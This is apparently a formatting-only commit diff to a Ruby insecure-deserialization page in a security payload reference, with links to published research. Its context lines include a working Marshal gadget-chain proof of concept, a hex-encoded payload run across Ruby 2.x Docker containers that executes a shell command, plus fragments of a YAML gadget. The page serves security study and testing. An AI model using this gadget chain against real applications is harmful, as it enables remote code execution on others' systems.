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Markdown Linting - Parameters, Browsers, Deserialization Randomness

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Swissky
2025-03-26 16:33:07 +01:00
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Insecure Deserialization/Ruby.md
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@@ -2,14 +2,12 @@
> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
## Summary
* [Marshal Deserialization](#marshal-deserialization)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references)
## Marshal Deserialization
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@@ -18,7 +16,6 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
```
## YAML Deserialization
Vulnerable code
@@ -88,11 +85,10 @@ Universal gadget for ruby 2.x - 3.x.
method_id: :resolve
```
## References
- [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
- [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
- [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
- [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
* [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
* [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
* [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)